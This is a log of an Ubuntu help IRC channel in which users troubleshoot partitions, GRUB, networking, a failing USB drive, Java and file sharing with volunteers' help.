[14:25] aaaa22222: why don't you want windows and linux to just be friends? [14:25] hello [14:25] joris: any error msg? [14:25] joris: did you try netstat -a to see if port already used ? [14:27] :( [14:29] reenignEesreveR: upgraded JUST the network manager? how did you do that? [14:29] erUSUL; i get an IOException (when i try: new Socket("localhost", port)) [14:29] scoulibaly, i'll try netstat right away =) [14:29] joris: sudo lsof -i :5555 [14:30] Hi all [14:30] * erUSUL waves [14:30] BluesKaj: hi [14:31] hey erUSUL [14:31] Hi there Im wondering whether can i place 2 different splash wallpaper to grub loading screen? === Glavata_ is now known as Glavata === Glavata is now known as Glavata_ [14:32] scoulibaly, erUSUL, netstad returned an enormous list of connection - i'm looking to filter it 5555 out of it (something might idd be wrong there), sudo lsof -i :5555 didn't return anything [14:33] joris: then nothing is using that port. the error is something else [14:33] what would be the best way to resize the partition ubuntu is on, without using a ubuntu livecd? [14:33] ahha , gotta reboot , kernel just updated [14:33] joris: i am not java programer so i dunno .... [14:33] hmm, ok thanks erUSUL & scoulibaly, than i'll look more into the java side to find out what's wrong === St018 is now known as St018_ [14:34] greetings channel. I've broken my power management on my latop after upgrade to 10.10. basically i cannot run gnome-power-manager. When i do, i get this error: http://pastebin.com/hYRuMB7Q [14:35] bencahill: what are you going to resize? root / how about adding a new partition for /home and move /home there. [14:36] i can no longer sleep or hibernate (unless i manually run `/etc/acpi/sleep.sh`) [14:36] but the option to sleep, hibernate are missing from my logout menu [14:37] hi [14:37] and, there is no battery monitoring happening either, so my laptop will drain the battery completely unless im there to power off beforehand. [14:37] I've made some changes to GDM, and recompiled it. Is there a way to tell ubuntu to recompile GDM everytime it updates it, and does a merge-changes sort of thing (recompiling GDM with my patches automatically applied. like with gentoo conf files after updating a port)? [14:39] Hi, any hints for rebuilding SATA RAID on an ASUS motherboard with Windows-only drivers? [14:39] gsr: I've never done it but maybe you could make your own custom gdm package, just put version what it is so if it's newer it will still be selected [14:39] hello room [14:40] hum [14:40] gsr: or if it is really custom you can pin it [14:40] hi .. i have a set of dhcp servers in range 10.1.0.x, and they dish out ips in 10.1.xx.yy range.. i want to ssh from one server's dhcp range to another server's dhcp range.. how do i do that ? === joris is now known as joris6 [14:40] i am able to ssh from the servers to each other's ip ranges, but not able to connect from dhcp ranges of each other .. [14:41] jits: I made this for you to try: http://paste.ubuntu.com/546276/ [14:42] Hello [14:42] jits: it seems you don't need to have masqurade setup, your gateway will do that for you. I did some minimal test but you would have to try it to prove it. [14:42] sacarlson: thanks, its a good place to start! I've customized it so that when a certain password is entered, it starts zeroing /var, so its a few lines of code. I know that there is some kind of library used when updating the kernel in ubuntu, so modified kernel modules are recompiled as well (like the vbox module). There's nothing like that for apt in general? [14:42] sacarlson: cool .. will try now :-) [14:42] I was just wondering how i resize a partition with Gparted [14:43] I need to resize windows so i can do a side by side boot with Ubuntu and Windows [14:43] how do you upgrade ubuntu on a laptop when it doesn't want tp read the arcive that the disk has [14:43] hi , sometimes at random my ubuntu10.10 freezes after login . I would like to see the log files when this happens when i reboot next time.. where do i look for them ? Thanks ! [14:44] jhon_d0e, ~/.xsession-errors [14:44] momelod: thanks . it stays there after reboot right ? [14:44] yes [14:45] the previous copy will be named .xsession-errors.old [14:45] i upgraded my network manager to 0.8.1 on lucid ... my ethernet won't get dhcp address now ... help!!!! [14:46] kvm in 10.04 LTS has a bug: you have to click X to close twice. [14:46] The first click is ignored. [14:46] can someone answer my quesxtion [14:46] I just spent 20 minutes trying to figure out how to report said bug through launchpad. It insisted I connect the ubuntu machine to the network and fire up a command line utility. [14:46] There is now way to do it through the web. [14:46] momelod: not seeing anything useful there. can i get something like dmesg for mylast boot ? [14:47] landley1: if you go to the exact package's page it shouldnt insist on that [14:47] So the bug goes unreported via launchpad. [14:47] I was just wondering how i resize a partition with Gparted I need to resize windows so i can do a side by side boot with Ubuntu and Windows [14:47] reenignEesreveR, sudo dhclient eth0, or whatever your ethernet designation set as [14:47] jhon_d0e, that will log any session errors you have. for x startup the logs are /var/log/Xorg.0.log [14:48] Rawrimatiger, i suggest you shrink the partition from windows rather than use gparted. [14:48] maco: why doesn't https://help.ubuntu.com/community/ReportingBugs say anything about that then? [14:48] reenignEesreveR, u don't have any problem but now u have it ) [14:48] BluesKaj, that worked. Now how can i find why it is not automatically getting an address and why do i have to tell it explicitly to get oen [14:48] dnivra, and may i ask how i do that and what i use to do it with? x.x sorry ive never done side by side before ^.^ [14:48] landley1: http://bugs.launchpad.net/ubuntu/+source/qemu-kvm/+filebug [14:48] reenignEesreveR: I guess you have 3 choices go back to the working version, or disable network manager and setup manualy in cli (command line ), or maybe try a ppa version that has hopfully fixed the problem that I seem to see some people are having with it. [14:49] sacarlson, im using PPA version of network manager :( [14:49] maco: cool. Thanks. [14:49] landley1: because filing without a utility that automatically includes debugging info usually results in crappy bug reports that are useless to anyone trying to fix the prblem [14:49] Rawrimatiger, hold on ok. === zhang is now known as Guest48606 [14:49] dnivra, alright ^.^ [14:49] reenignEesreveR: well bummer that didn't work === Guest48606 is now known as zhang_ [14:49] maco: ok, I won't report the bug then. [14:49] Bye. [14:49] landley1: so, for the vast majority of folks who dont know how to file bug reports, its preferable that they use those tools [14:49] eh whatever ill report it myself [14:50] would someone answer my question please [14:50] ugh though 10.04... at least reproduce in 11.04 first === Glavata_ is now known as Glavata === Glavata is now known as Glavata_ [14:50] reenignEesr run , sudo /etc/init.d/networking restart then reboot and check your connection === gonzalo is now known as mnemonic [14:50] gambit_2: what do you mean "doesn't want to read the archive"? [14:50] reenignEesreveR: oh another posible solution is try wicd as a replacement for network manager [14:51] !upgrade | gambit_2 [14:51] gambit_2: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade [14:51] When i turned on my computer today, my microphone had a problem where all input is speed up and high pich. Resulting in my sounding like a smurf. Funny but very annoying. Any idea on what could cause this ? [14:51] it said that the arcive is not reconised [14:51] Rawrimatiger, how to shrink a partition http://www.howtogeek.com/howto/windows-vista/resize-a-partition-for-free-in-windows-vista/ [14:51] sacarlson: I'm resizing root, to make room for a /boot partition for a usb install === LadyNiko1 is now known as LadyNikon [14:51] dnivra, thank you ^.^ [14:51] !details | gambit_2 [14:51] gambit_2: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..." [14:51] bencahill: oh ok, then I'm not sure, I never trusted the repartition shapers [14:52] Rawrimatiger, installing windows and ubuntu side by side. i think this should work along with that. http://www.dedoimedo.com/computers/dual-boot-windows-7-ubuntu.html [14:52] can someone assist me in downgrading postgresql to 8.3 on lucid? [14:53] sacarlson: wait, gparted could do that, and it has a livecd [14:53] Rawrimatiger, okay don't follow http://www.dedoimedo.com/computers/dual-boot-windows-7-ubuntu.html. i'll get you something else. [14:53] bencahill: I guess fully backup your root and maybe try gparted, I was told that the newer version is now able to resize partitions but I have never tried it [14:53] dnivra, thank you however i have Windows XP [14:53] Rawrimatiger, i think it works the same. [14:53] gambit_2: what are the steps you are taking and what exactly are the error messages? [14:53] sacarlson: for some reason I thought it could. no? [14:53] dnivra: oh x.x heh... well i tried the disk management before in Windows XP and it didnt give me the option :o [14:53] bencahill: the old ones didn't the new ones do === Glavata_ is now known as Glavata [14:54] well i run 10.9 and want to go to netbook version but it says that arcive not reconised when i try to install and it also will not boot from disk === Glavata is now known as Glavata_ [14:54] sacarlson: ah ok, I'll see what I can come up with :) [14:54] bencahill: I would love to hear if it works [14:54] Rawrimatiger, hold on okay. [14:54] dnivra, alrighty, np [14:55] No DHCPOFFERS received.what's the problem [14:55] jimly, i guess there is no DHCP server running. [14:55] hey hai [14:55] Another question.... Is there a point in resizing when i have 41GBs free? [14:55] gambit_2: what 'archive' ? you are trying to install the ubuntu-netbook package on a normal ubuntu install? or what exactly [14:56] :( [14:56] how to check if dhcp is running [14:56] hello hello .. [14:56] jimcooncat, DHCP server. it is another computer running on the LAN. [14:56] yes i want to install the netbook version of 10.10 and it wont let me === Glavata_ is now known as Glavata [14:57] Rawrimatiger, okay Win XP doesn't have a shrink option. sorry :). well you can do it with gparted then i guess. though i wouldn't advise it. still i guess it is fine. === Glavata is now known as Glavata_ [14:57] gambit_2: so you have No ubuntu installed? or you are trying to install Just the netbook edition? via cd? wubi? how. [14:57] dnivra, why wouldnt you recommend it? [14:57] yes i have 10.9 installed on laptop [14:58] Rawrimatiger, gparted might mess up the partition. do you have a back up? [14:58] when i get in windows ,it can get ip auto,but in ununtu,it can't [14:58] Rawrimatiger: when resizeing.. always have backups.. scan the disk in windows, defrag, resize, then you may want to rescan it [14:58] <|Bboy|> Question: When installing rvm in ubuntu.. is there an issue with being logged in as admin when this is done? Should I create a user with no admin abilities and then install? [14:58] |Bboy|: ive never heard of any issues with an 'admin' capable user being logged in and causing any install issues. [14:59] dnivra, o_o argh im always second guessing weather i should install ubuntu because of this. You see, i dont have a Windows XP backup. [14:59] Rawrimatiger: just rember - a hard drive can DIE at any time.. your XP install. could die at any time... [14:59] Rawrimatiger, i don't think it will cause a problem but creating a backup is recommended always. [14:59] dnivra, oh oh where can i get a virtual box? [14:59] Rawrimatiger: use a linux live cd. and a usb hard drive. to backup an image of the HD if you want to be serious about it. [14:59] !vbox | Rawrimatiger [14:59] Rawrimatiger: virtualbox is a x86 !virtualizer. A !free edition is available from the package 'virtualbox-ose'. A non-free edition is available at http://virtualbox.org for most Ubuntu releases (help in #vbox) - Setup details at https://help.ubuntu.com/community/VirtualBox [15:00] dnivra: using Gparted is perfectly safe, provided the user pays attention. [15:00] Vbox is fine, but not as good as an actual dual boot system. [15:00] KM0201, think a new user would :)? [15:00] !free [15:00] freedom is important. Ubuntu is as free as we can make it, which means mostly free software. See http://www.gnu.org/philosophy/free-sw.html and http://www.ubuntu.com/ubuntu/licensing [15:00] lol [15:00] whoops xx [15:00] Rawrimatiger: if using a laptop.. always be plugged in to the wall.. when resizeing.. never battery :) [15:00] dnivra: well, thats completely another issue... you don't insinuate its not safe [15:00] Rawrimatiger, KM0201 is right ^^ virtualbox isn't the best. [15:01] <|Bboy|> DrWillis: thansk [15:01] <|Bboy|> DrWillis: thanks* [15:01] When Ubuntu starts it doesn't activate microphone input automatically. Actually it looks activated but it doesn't work. I have to go to sound preferences, then input, that have to switch from Microphoe 1 to any other, then switch back to Microphone 1. Then it works. Any idea how to fix this? [15:01] dnivra, how do i get the free edition of Virtual Box x.x [15:01] Rawrimatiger: its at the vbox download site [15:01] dnivra, and i dont want to take any chances of ruining windows [15:01] Rawrimatiger: what are the specs of your PC? [15:01] KM0201, people make assumptions sometimes. but i messed up my windows partition when i shrunk it with gparted-i did it fine for sure following a tutorial. deleted windows after that :) [15:02] dnivra: well, just because you ddi it, don't assume everone will.. .that was a pretty ridiculous statement you made that using gparted to partition a drive was not safe. [15:02] Rawrimatiger, it's a very low percentage but nevertheless exists. i think if you follow http://www.dedoimedo.com/computers/dual-boot-windows-7-ubuntu.html it's safe. [15:02] dr willis what about my problem [15:02] <|Bboy|> Question: When i installed ubuntu, it asked me for a username.. when i log in.. it logs me into that username.. when i try to install something i have i have used sudo... does this mean that the account created when ubuntu was installed is not the root user.. and just a user.. i am a bit confused.. [15:03] 'resizeing' always has some risk. of course these days the HD seems to be the weakest link. When in doubt - backup. [15:03] !sudo | Bboy [15:03] Bboy: sudo is a command to run command-line programs with superuser privileges ("root") (also see !cli). Look at https://help.ubuntu.com/community/RootSudo for more information. For graphical applications see !gksu (GNOME, Xfce), or !kdesudo (KDE). If you're unable to execute commands with sudo see: http://www.psychocats.net/ubuntu/fixsudo [15:03] KM0201, just to be clear i was sure that the steps were right. gparted did mess up my partition-it was rendered unusable after shrink :) [15:03] dnivra, was your windows install either vista or W7 ? [15:03] dnivra: obviously you werent. [15:03] <|Bboy|> cjdevlin: thanks [15:03] BluesKaj, vista. [15:03] |Bboy|: np [15:03] Where on the ubuntu forums can I post stuff for biginners? The "Absolute Beginner Talk" is read only... [15:03] Both KM0201 and Dnirva plz x.x one had a problem the other didnt [15:04] anyway Rawrimatiger no worries http://www.dedoimedo.com/computers/dual-boot-windows-7-ubuntu.html is pretty good. just follow it. it has screenshots and stuff too. i think you won't have any problem. [15:04] gambit_2: You mean 10.10? or 10.04 ? you are just rrying to install the netbook interface ontop of a desktop install then? via somthing like --> sudo apt-get install ubuntu-netbook [15:04] |BBoy|: ubuntu doesn't create a 'root' account for security purposes. [15:04] yes [15:04] Rawrimatiger: take normal precautions(ie, back up important data, etc..) and pay attentio while partitioning, and you'll be fine [15:04] agentgasmask, if you register, you can post in the forum. if you have a problem with ubuntu, you could also try asking here too. [15:05] gambit_2: be a bit more verbose in your answers. :) does that command give any error? if its saying the .deb is bad. then it could be a server issue with a currupted file. or download issues. [15:05] KM0201, precisely what i told him :). and you were right-i should stop scaring people maybe. installing ubuntu isn't rocket science :). [15:05] Err, how frequently should i ask my question again? : ) [15:05] yeah dnivra , I had the same prob [15:05] dnivra: its more like Rocket SUrgery... [15:05] dnivra: that was my point.. your statement that partitioning a drive was somehow dangerous was full of hyperbole [15:06] Hey guys, anyone up to help me? i'm having problems with a wifi pcmcia card on a ubuntu 10.04 laptop. the card isnt recognized althogh pcmcia modules are running. the card should be supported, but it doesn`t show up on lspci. any ideas? [15:06] BluesKaj, you did? any idea why? [15:06] it says that the arcive is not reconised [15:06] Dr_Willis, it isn't that difficult is it? [15:06] sorry for my spelling [15:06] gambit_2: you may want to pastebin the exact error message for the channel to see. along with the output of -> sudo apt-get install ubuntu-netbook [15:06] KM0201, point conceded :). [15:06] !wireless | VladB [15:06] VladB: Wireless documentation, including how-to guides and troubleshooting information, can be found at https://help.ubuntu.com/community/WifiDocs [15:07] VladB: whats your card? [15:07] yeah this resource is really usefull [15:07] what does that mean in non tech way [15:08] KM0201- it's an edimax card... i havent found the exact name, but the guy in the store said it should be supported :P [15:08] Yahuda, don't know... sorry. [15:08] anyone ever try xmount to convert a dd raw dump of a disk or partition to a vdi virtualbox disk image? [15:08] dnivra, ppl will disagree with this notion that one should refrag windows immediately prior to partition resizing, dunno if it works tho. I found out too late , there's an app called BCD that if install ahead of time will preserve the mbr or whatever windows calls it now [15:08] hi is there a way to run 2 separate screens [15:08] No, do not sorry. I'll be sorry then. :( [15:09] sacarlson, dhclient worked for me as it got the ip address but it didn't set the routing table entries. It means my network-manager is completely screwed up? [15:09] sacarlson: I found an old gparted cd, and it has resize in it :) /boot is currently only 19M, so I guess I wouldn't need a very big partition for it [15:09] Jordan_U: I found an old gparted cd, and it has resize in it :) /boot is currently only 19M, so I guess I wouldn't need a very big partition for it [15:09] docmalphas, sure... what do you want exactly? [15:09] Jordan_U: ...how large do you think I should make it? [15:09] dnivra: I'm logged in to my user on the forum and the Absolute Beginner Talk sub-forum is still read only... Is that what you ment would become writable? Also, I wanted to write a semi-howto, so I think that is better on a forum. [15:09] BluesKaj, preserver windows boot loader? i prefer grub :). and you meant "defrag" not "refrag". right :)? [15:09] reenignEesreveR: you might have to disable network-manager before you dhclient [15:10] when i boot it supose to boot disk but boots ubuntu already installed like disk is not there [15:10] I want to run 2 screens at the same time like in windows. when i run i just get a clone screen [15:10] dnivra, right defrag , sorry for the typo [15:10] agentgasmask, i guess you can't edit the absolute beginner talk section. i think you can just post it in the forum and people would find it. also put it in your blog or something-google would find it then :) [15:10] what gfx card? kind of computer? [15:10] bencahill: my /boot partition is like 50 meg so maybe 100meg should give you more than enuf [15:11] dnivra, BCD only affects the chainloder on windows not grub [15:11] BluesKaj, refrag would make it a nightmare :) [15:11] dnivra, :) [15:11] sacarlson: is there any reason it would grow? [15:11] sacarlson: I'm only running a picture frame, and will never update it or whatnot [15:11] dr willis: are you there i gave more info [15:11] BluesKaj, oh! okay; i'll have to read a bit about it :). thanks! [15:11] are the build settings online anywhere for all packages? - like the ./configure settings? [15:11] !tab | gambit_2 [15:11] gambit_2: You can use your key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line. [15:12] dnivra: Ok. Thanks for the help! :) cheers! [15:12] agentgasmask, sure. np :). [15:12] sorry [15:12] fruitwerks: the source package for each application would have anything thats added on to configure in its debian/rules [15:12] reenignEesreveR: did you do this: sudo service network-manager stop before the dhclient ethX? [15:13] dnivra, but always install windows before linux ,. if indeed you intend to dualboot [15:13] Hello ! [15:13] gambit_2: well without it, you may miss characters, like replacing an underscore with a space in Dr_Willis 's name :) [15:13] BluesKaj, i guess you meant that grub would chainload the windows boot manager? [15:13] how do you create a vitual interface in ubuntu [15:13] unholyterror, its a radeon graphics card not shure of the model so i guess it doesnt help is there no setting to prevent the clone and allow me to move windows around [15:13] bencahill: only when you install a new kernel it will about double in size but you can delete it after you find the new one works [15:13] BluesKaj, yeah that is always what i recommend-i don't use windows except XP on a virtual box if highly essential. [15:14] it doesn't really matter what order you install linux/windows .... you'll just need to boot the ubbie cd in rescue mode and do another grub-install if you install windows after you do linux [15:14] sacarlson: ok, thanks, I'm off to try it! [15:14] so you get grub bootloader not the windows bootloader [15:14] docmalphas, is this a desktop or laptop? [15:14] desktop [15:14] leprechau, BluesKaj, well windows boot loader can boot ubuntu too. i remember reading a tutorial on how to do that. [15:14] dnivra, yup grub will pick up the windows partition and then BCD would be there [15:14] dnivra, sure it can ... but it's not near as flexible as grub [15:15] nary which can i use offline [15:15] leprechau, has windows ever been flexible :)? [15:15] nope [15:15] any English to hindi dictionary [15:15] BluesKaj, that is news; i need to find out how to do that. [15:15] im trying to start up ubuntu got an error 17 what is this [15:15] on Ubuntu platform [15:15] how would I download a src package for postgresql-8.3? [15:15] Windows is flexible. You get to choose from 40 different versions that are just as useless as the next.

[15:31] bencahill: I seen someone have a problem when he needed just one more but they were already all primary and I guess you can only have 4 of those or is it 3?

[15:32] If I want to wipe/shred the data on an entire harddrive, how do I do that? [15:33] spencer, you need an ircd [15:33] queso look up a program called DBAN [15:33] queso: theres secure deletion/shreding tools in the pacakge manager listings. [15:33] spencer, Dr_Willis: thanks [15:33] Dr_Willis: not quite, an extended partition is not a primary partition, and their naming starts at 5 (/dev/sda5, e.g.), and you can have multiple extended partitions, with their own logical partitions [15:33] sudo fdisk /dev/sdb says unable to read /dev/sdb === Glavata_ is now known as Glavata === Glavata is now known as Glavata_ [15:34] raheel: sounds like the thing may be totally dead. [15:34] HAHA I'm using the Internet! [15:34] queso DBAN is a boot disk that when booted from, it securely nukes the hard drive. You need a livecd of another OS though afterwards [15:34] when i use testdisk program [15:34] bencahill: Dr_Willis: yes so I would only have a max of 3 so that the 4th you be sure you make a extended so that you can always add more [15:34] gotta run - bye all [15:34] it detects the disk size and also the type Kingston traveller [15:34] hello i have a problem with the game EMILIA PINBALL. i changed the games resolution and now i get a error prompt 'Couldn't set video mode: No video mode large enough for 1280x1024' is there a way to remove those settings i made ? ive already tried to reinstall the entire game did not work ... Got any idea? Where is the information of the game saved at? i checked several folders couldnt find any config files. and uninstalling and reinstal [15:34] rs0832 what's an ircd? I'm really a lower-level user [15:35] spencer: Why would I need a live cd after using dban? [15:35] when i scan it then it says read error on all the sectors. [15:35] spencer, an irc daemon or irc server [15:35] sacarlson: right :) [15:35] spencer, they are pretty small programs [15:35] spencer: Is there something that could be ran from within linux itself to accomplish the same thing? [15:35] queso it completely formats the drive, even the filetables [15:35] may be i should just give up. what is the verdict then [15:35] queso nope, you pop the disk in, and restart, booting from CD [15:36] spencer: okay, thank you [15:36] queso it's worked wonders for me, though it is a little slow. Gets the job done thoroughly however [15:37] rs0832 so I just need a program? and then how do I get others to connect to it using their IRC clients? [15:37] spencer, same way you join freenode [15:37] queso you did want everything shredded, right? the entire drive? [15:38] ok this forum was my last resort. should i stop trying? [15:38] spencer, if you want to use freenode's ircd, it is here - http://dev.freenode.net/ircd-seven [15:38] rs0832 okay so just grab freenode's, then register a channel, right? that'll be based on what, my machine or theirs? [15:38] raheel, sorry i missed your problem, do you mind telling me? [15:39] spencer, you dont need to register a channel [15:39] Anyone using Chrome 9 beta on ubuntu who has had issues / success with window.open() javascript (either on a page or by typing it in manually on the Console of the Developer's Tools) ? [15:39] spencer, you install the irc server just like you install ubuntu server [15:39] spencer, on your machine [15:40] rs0832 okay thanks, I was a bit confused on this. I usually only use IRCs, not make them [15:40] rs0832 well actually i have a usb i have used testdisk it detects the device successfull. but no partition table is visible or recovered. also fdisk -l does not show this disk but it is avail in /dev/sdb [15:40] spencer: If you're just looking to create a new channel on freenode, then you should join #freenode and ask how. If you want your own entire IRC network for yourself/friends, then you'll need to run an ircd on your server. ircd-seven is probably not the one you want to use.

[15:41] well i need the drive to be usable. but if i can get the data only thatis ok too [15:41] raheel: I guess as a last resort you can try dd on it to see the first 512 bytes [15:42] raheel you can plug it into a windows machine, and hit format, but that'll erase any data. It makes it usable however [15:42] raheel, what did you format the usb stick with? [15:42] spencer: No, I don't really know much about setting up ircds, but I know that the one that freenode uses is rather specialized and not really designed or documented for a new user. [15:42] raheel, or usb hd? [15:42] pici okay thanks, I gotta go, switching classes [15:43] well actually i connected it to my ubuntu machine and the next day it was not readable. i had formatted it as ext4 as i believe it is a better file sys.

Can some one point me to the current doc for getting my verizon pay-as-you go usb760 modem working. There seem to be many solutions. [15:48] sacarlson, dont you have to specify 'm' for the bs=512? or are you copying the first 512 bytes [15:48] well thanks alot but i got an input output error 0 records in 0 records out [15:48] raheel, does the drive mount? === bencahill_ is now known as bencahill [15:49] rs0832: I guess if it was megabytes but in this case a sector is 512bytes [15:49] sacarlson, ok 512 bytes it is then [15:50] I want to backup xorg.conf before installation of restricted driver to graphic, but it write me the directory not exist [15:50] sacarlson, could I use the original grub, and let it add the new /boot to it? [15:50] rs0832 well when i give the mount command it sleeps then says you must specify file system type [15:50] and the xorg.conf not exist [15:51] raheel, and rebooting without the drive and then connecting it doesnt help?

[15:54] raheel, what did you put on the drive? [15:55] rs0832 :) well really all i wanted was usb detectable on linux systems with ext4 file system thats it. [15:55] On Ubuntu 10.04 LTS I have a network card (atheros at8151) which support is introduced in 2.6.34 I updated to 2.6.35 by apt-get, but is there naything special I need to do to make it work? [15:56] is there a way to use mount without having to create a permanent directory in /media? [15:56] raheel, it sounds like a hardware problem to me, personally... [15:56] raheel, ok.. a superblock is metadata of a filesystem (here ext4) [15:56] any know how to have a virtual interface with a mac address [15:56] bonjoyee, hi ya there :) [15:56] anon33_: You can create the mountpoint (nearly) anywhere, it doesn't need to be in /media [15:56] sacarlson, oh, I didn't even see you go :) [15:57] raheel, so if you dont have data on the drive you can try a reformat.. if you havent tried it already === Ha is now known as Daisy-SMB- [15:57] bencahill: I didn't just had a ip change that takes time to reconect [15:57] sacarlson, gotcha :) [15:58] Pici: is there a way to make the directory temporary so that it isn't permanent? [15:58] rs0832 reformat!!! ok. doing. message is failed while writing reserved sector [15:58] anon33_: No, not really. [15:58] I'm sharing my mac's keyboard and mouse to my ubuntu desktop, how can I switch the keybindings so that cmd-c is copy instead of ctrl-c ? [15:58] bencahill i think you are right. may be the hardware just does not want to work@!@$# [15:58] raheel, are you using gparted? [15:58] yes [15:59] sacarlson, oh, you probably didn't get my earlier question then :), here 'tis: [15:59] sacarlson, could I use the original grub, and let it add the new /boot to it? [15:59] rs0832 i use it in gparted it does not even detect the /dev/sdb even though it is present in the /dev/sdb directory [16:00] strange!!! [16:00] raheel, try to make two different partitions [16:00] raheel, on the drive [16:00] Pici: well, there's a way that nautilus does it. when i launch nautilus, it notices the drives i have installed and creates the mountpoints in /media properly [16:00] Pici: and then when i remove those drives, those mountpoints go away. i'd like to do the same thing without having to launch nautilus [16:00] rs0832 but that is only possible if gparted detects the drive [16:01] raheel, gparted doesnt detect? then how did you reformat [16:01] bencahill: i'm not sure I think something will have to change in grub, but I guess a grub-install upgrade-grub will fix it? [16:01] bencahill no I think that the only change is in /etc/fstab [16:02] rs0832 i mentioned that after the reformating the result was "failed while writing reserved sector" [16:02] sacarlson, grub-install to install the grub on the new partition to the mbr? [16:02] sacarlson, i did update-grub, but it didn't see the new thing [16:02] bencahill: oh root changes too so grub will have to reloaded [16:03] Pici: what do you think? [16:03] raheel, oh so it gparted cannot detect it after the attempted format? [16:03] sacarlson, oh right, before that, I copied /boot* to new partition (sda3) [16:03] rs0832 yes [16:03] How can I change my private IP address? [16:03] sacarlson, I'm confused, how does the /boot partition know to load / on the usb? [16:04] bencahill: so if root has moved but it still has the same uuid I guess it's still just an /etc/fstab change [16:04] raheel, something that *may* be useful - http://linuxexpresso.wordpress.com/2010/03/31/repair-a-broken-ext4-superblock-in-ubuntu/ [16:04] System_Default_0: u do that through your router. [16:04] rs0832 sudo mkfs.vfat /dev/sdb says no partitions use -I to force. i used and then this error comes [16:04] k [16:04] System_Default_0: assuming you're talking about a network IP [16:04] sacarlson, editing fstab... [16:05] bencahill: grub only need to know where root is then from root it finds /etc/fstab that point to /boot [16:05] k [16:05] rs0832 any ways i wonder if you can help me in another mysterious problem with my mouse. [16:05] Ok, thanks. [16:05] my mouse intermittently freezes [16:05] raheel, o.0 [16:05] sacarlson, oh great, grub can't see the usb drive, I thought putting /boot on the hdd would fix that :-/ [16:05] System_Default_0: or are you talking about the IP from your provider?.. if thats the case, you can try releasing/reassigning, but you'll likely have to call them and ask [16:05] raheel, mine too haha [16:06] sacarlson, we have a problem here :) [16:06] raheel: you don't format a disk you format a partition, I'm not sure that will work [16:06] ha ha [16:06] hey I'm having a strange problem where the window title doesn't update, eg. when browsing from one page to another in firefox. Is this a known problem, and is there a fix? [16:06] no, i dont wanna change the public IP [16:06] raheel, of late it stopped so i never tried to fixed it :) [16:06] sacarlson yeah you are right. it did not work [16:06] rs0832 [16:06] rs0832 i wish mine would too :( [16:06] bencahill: and what problem is that? [16:07] raheel, are you using 10.10? [16:07] sacarlson, this is what i read you as: grub2 > finds /etc/fstab on device UUID > boots from /boot as referenced in that [16:08] rs0832 no 10.04 [16:08] wtf why isnt it possible to change easy the startday of the week? [16:08] raheel, mine seemed to have stopped after installing 10.10 [16:08] Anyone know how I can give access to my Xbox 360s WMC? I use WMC on a computer and a 360. My computer has access and is able to play the files and whatnot, I give it permissions. Whoever, I am not sure what username to give permissions to for the xbox, it can see the shared drives, just not anything inside them [16:08] sacarlson, if that is correct, then the problem is that neither grub nor the bios can see the usb device, so that's no better than booting straight to the usb, right? [16:08] rs0832 after dmesg i get bad data from KBC-timeout [16:09] I get this msg when i update ; E: Type 'multiverse' is not known on line 54 in source list /etc/apt/sources.list [16:09] E: The list of sources could not be read.

[16:11] nobody in here has had any luck sharing files from ubuntu to the 360? [16:11] raheel, usb or ps2 mouse ? [16:11] rs0832 ps2 [16:11] rs0832 ps2 A4tech [16:11] sacarlson: yes I know, I've tried them under the guidance of Jordan_U, and my device will not work!

[16:26] Pici, Yes Windows Media Center [16:26] like i already told you delete that line and also delete the breezy repositorios you added [16:26] queso, :) you can find them in the repositories under those names [16:26] like i already told you delete that line and also delete the breezy repositorios you added induz [16:27] induz: Its the line that just says 'multiverse universe' on it, enar the bottom of the file.

[16:28] I just talk to a tech support person at verizon and they say that the USB760 Mobil Broadband is not supported on Linux. Does anyone have this working on ubuntu? [16:28] thinkfire: You said 'The xbox sees the shared drive via the WMC on it, but cannot access it' [16:28] So I thought there might be a log on ubuntu that tells me what usernames are being denied access so I can grant it permissions [16:28] induz, really??breezy?? [16:28] induz: well, your repository listing shows your using karmic.. but the very last repository in your pastebin(lines 51/52) are breezy repositories.. if you don''t need them, i would delete them [16:28] It cannot access it because ubuntu is denying it access [16:28] queso, yes :) or download them to your drive and install them from there [16:28] thinkfire: But WMC doesn't run on Ubuntu. I'm confused as to how Ubuntu comes into the mix here. [16:28] I want to install JRE 1.5 === Kasjopaja is now known as Guest56978 [16:29] rs0832: Sorry, I don't understand. Download them to what drive? How can I download and install on a CD? [16:29] induz: well you certainly don't need to add a breezy repo.. .what version of Ubuntu are you using [16:29] WMC is on the Xbox 360, it needs permissions to view the shared files [16:29] on this link some one suggested that so i did that [16:29] http://ubuntuforums.org/showthread.php?t=102426 [16:29] induz: I gave you the instructions about an hour ago. You need *read* and *follow* the directions. [16:29] Koala [16:29] induz: Not that link That link is 6 years old. [16:29] !java > induz [16:29] induz, please see my private message [16:30] induz: that repository is likely closed after 5yrs, and a release that has been EOL'd for at least 3.5yrs... you don't need that repo to install java [16:30] Pici, WMC is trying to access the shared ubuntu drive and ubuntu is not letting it, so I need to figure out what username it is trying to access it with so I can give it permissions, is there some type of log? [16:30] queso, you can boot the live cd and install the program while on the live cd.. just like on a normal install.. it will install to the ramdisk (same place where the live cd is loaded) [16:31] thinkfire: Check /var/log/auth.log or there may be a logfile in /var/log/samba/ [16:31] Okay back, that was a rather quick final. Does anyone know of any channels/IRC servers devoted to making your own IRC server? or does anyone here have any experience [16:31] spencer, http://irchelp.org/irchelp/ircd/ [16:31] queso, still having problems shredding your disk?

[16:32] queso what does it say, and do you have firmware drivers for your HDD/the drive you're trying to format? [16:33] queso, yes thats fine [16:33] queso, once you boot the cd, enable your internet connection, and then apt-get the program [16:33] I get this now [16:33] sudo update-java-alternatives -l [16:33] java-6-sun 63 /usr/lib/jvm/java-6-sun [16:34] induz: Whats wrong with that? [16:34] spencer: It gets stuck after looking for USB devices, something PCI . . but it doesn't do anything, it just sits there. I don't know about the firmware drivers? [16:34] rs0832: I will try that, thank you [16:34] induz, what are you trying to do? install java or update? [16:34] queso, good luck :) [16:34] he has java installed [16:35] Update if its in my Koala [16:35] induz: Why do you need to update it?

Unless you still want to shred, burn, then shred the ashes of any private files [16:35] Pici, No luck there, any other ideas?

